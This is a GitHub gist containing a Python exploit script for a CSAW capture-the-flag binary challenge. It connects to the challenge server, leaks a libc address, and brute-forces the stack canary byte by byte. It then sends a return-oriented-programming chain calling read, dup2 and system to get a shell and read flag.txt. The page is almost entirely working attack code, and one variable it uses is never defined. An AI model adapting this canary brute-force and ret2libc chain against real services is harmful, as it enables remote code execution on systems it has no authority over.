Skip to content

Instantly share code, notes, and snippets.

@nongiach
Created September 17, 2016 19:17
Show Gist options
  • Save nongiach/02d2026ef7200d9f85c7d051a44444fd to your computer and use it in GitHub Desktop.
Save nongiach/02d2026ef7200d9f85c7d051a44444fd to your computer and use it in GitHub Desktop.
#!/usr/bin/python3 -i
from struct import pack, unpack
from functools import partial
from socket import create_connection, timeout
from inspect import currentframe
from telnetlib import Telnet
from sys import exit
from time import sleep
import re
# utils functions {{{
p = partial(pack, "<Q")
# print with locals
def lprint(fmt):
print(fmt.format_map(currentframe().f_back.f_locals))
def bprint(fmt):
fmt = ', '.join([ "{0} = {{{0}}}".format(word)
for word in fmt.split(' ')])
print(fmt.format_map(currentframe().f_back.f_locals))
def interact(s):
t = Telnet()
t.sock = s
t.interact()
# }}}
HOST, PORT = "localhost", 4243
HOST, PORT = "pwn.chal.csaw.io", 8002
def try_exploit(in_data):
try:
s = create_connection((HOST, PORT))
# s.settimeout(2)
data = s.recv(2048).decode()
s.send(b"2\n")
data = s.recv(2048).decode()
s.send(in_data)
data = s.recv(2048)
data = s.recv(2048)
except timeout as e:
print("Timeout")
data = b""
return b"Tutorial" in data
def brute_byte(stack):
"""bruteforce one byte on the stack
:stack: stack before this byte
:returns: return new stack
"""
for i in range(256):
alive = try_exploit(stack + bytes([i]))
if alive:
return stack + bytes([i])
print("brute_byte failed")
exit(0)
# not the best way to leak the cookie I guess
def read_cookie():
stack = b"A" * 312
# uncomment to not bf the cookie again
# return stack + b'\x00\xa7\x02bf\xbbh\x90\x10\x18F\xa4\xfc\x7f\x00\x00'
for _ in range(8):
stack = brute_byte(stack)
bprint("stack")
return stack + b"B" * 8
# .text libc local
puts = 0x68fe0
system = 0x3f4d0
dup2 = 0xdbb70
# .text libc remote
puts = 0x6fd60
system = 0x46590
dup2 = 0xebe90
# .text tutorial remote/local
read = 0x0000000000400b60 # <read@plt>:
pop_rdi = 0x00000000004012e3 # : pop rdi ; ret
pop_rsi = 0x00000000004012e1 # : pop rsi ; pop r15 ; ret
rw_mem = 0x00000000006020f8 # .data
# rw_mem = 0x0000000000602108 # .bss
def call1p(func, p1):
return p(pop_rdi) + p(p1) + p(func)
def call2p(func, p1, p2):
return p(pop_rsi) + p(p2) + p(0xcafebabe) + call1p(func, p1)
def main():
"""TODO: Docstring for main.
:returns: TODO
"""
global stack, leak, payload
s = create_connection((HOST, PORT))
s.settimeout(2)
s.send(b"1\n")
d = s.recv(2048)
try:
d += s.recv(2048)
bprint("d")
except timeout as e:
print("Timeout")
d = d.decode()
bprint("d")
leak = re.search("Reference:(0x.*)", d).group(1)
leak = int(leak, 16) + 0x500
lprint("leak")
# print(try_exploit(b"a" * 100))
stack = read_cookie()
cookie_rbp = stack[-16:]
bprint("cookie_rbp")
rbp = unpack('<Q', stack[-8:])[0]
bprint("rbp")
# print(try_exploit(stack + b"ABCDEF"))
s_sh = rbp + buf_rbp_diff
bprint("s_sh")
payload = b"2\n"
payload += stack
stack_pivot = rw_mem + 0x200
# read to load 'sh' in memory
payload += call2p(read, 4, rw_mem)
payload += call2p(leak - puts + dup2, 4, 1)
payload += call2p(leak - puts + dup2, 4, 0)
payload += call1p(leak - puts + system, rw_mem)
s = create_connection((HOST, PORT))
s.send(payload)
sleep(0.3)
s.send(b"ls;cat flag.txt\x00")
interact(s) # useless because alarm close the client
stack = None
leak = None
payload = None
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment